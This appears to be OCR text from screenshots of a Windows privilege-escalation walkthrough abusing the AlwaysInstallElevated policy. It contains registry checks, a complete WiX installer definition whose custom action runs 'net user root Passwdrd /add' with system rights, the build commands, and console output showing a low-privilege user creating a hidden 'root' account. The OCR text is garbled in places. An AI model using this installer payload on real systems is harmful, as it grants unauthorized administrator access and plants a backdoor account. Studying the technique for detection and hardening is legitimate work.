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Turn off Windows Installer

Edit policy setting

Requirements:
At least Windows 2000

Description:
This policy setting restricts the use
of Windows Installer.

If you enable this policy setting,
you can prevent users from

|| installing software on their

Setting

Allow users to browse for source while elevated
Allow users to use media source while elevated
Allow users to patch elevated products

Always install with elevated privileges

=) Prohibit use of Restart Manager

2] Remove browse dialog box for new source
Prohibit flyweight patching

(=] Turn off logging via package settings

ﬁ Turn off Windows Installer

2= Prevent users from using Windows Installer to install update...

State
Not configured
Not configured
Not configured
Net configured
Not configured
Not configured
Not configured
Not configured
Enabled
Net configured

& Turn off Windows Installer

5] Tum off Windows Installer

(O Not Configured Comment:
(®) Enabled
() Disabled
Supported on:
Options:

Next Setting

] el

At least Windows 2000

Help:

23 setting(s)

Disable Windows Installer

Never

This pelicy setting restricts the use of Windows Installer.

If you enable this policy setting, you can prevent users from
installing software on their systems or permit users to install only
thase programs offered by a system administrator. You can use
the options in the Disable Windows Installer box to establish an
installation setting.

-- The "Never" option indicates Windows Installer is fully

Comment
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[reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
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C: \Windows\system32>reg query HKCU\SOF TWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

HKEY CURRENT USER\SOF TWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1

C: \Windows\system32>reg query HKLM\SOF TWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
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<Wix xmlns="http: //schemas. microsoft. com/wix/2006/wi" >
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111"
Name="23e23deeqwddeweqwde" Version="0.0.1" Manufacturer="Testl" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"
/>
<Media Id='1"' />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-
222222222222" KeyPath="yes"></Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles" />

</Feature>

<CustomAction
Id="Shell"
Execute="deferred"
Directory="TARGETDIR"
Impersonate="no"
ExeCommand="net user root Passwdrd /add"
Return="check"

/>

<InstallExecuteSequence>
<Custom Action="Shell" After="InstallFiles"></Custom>

</InstallExecuteSequence>
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</Product>

</Wix>

(T -msi [IT]

C: \Users\localadmin\Desktop\wix>candle always. wxs
Windows Installer XML Toolset Compiler version 3.11. 2. 4516

Copyright (c) .NET Foundation and contributors. All rights reserved.

always. wxs

C: \Users\localadmin\Desktop\wix>light always. wixobj

Windows Installer XML Toolset Linker version 3.11. 2. 4516

Copyright (c) .NET Foundation and contributors. All rights reserved.

C: \Users\localadmin\Desktop\wix>
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C: \Windows\system32>net user

User accounts for \\ATTACKER

admin Administrator DefaultAccount
Guest localadmin lpe
WDAGUtilityAccount

The command completed successfully

C: \Windows\system32>whoami

attacker\lpe

C: \Windows\system32>C: \always. msi

C: \Windows\system32>net user

User accounts for \\ATTACKER



admin Administrator DefaultAccount
Guest localadmin lpe

root WDAGUtilityAccount
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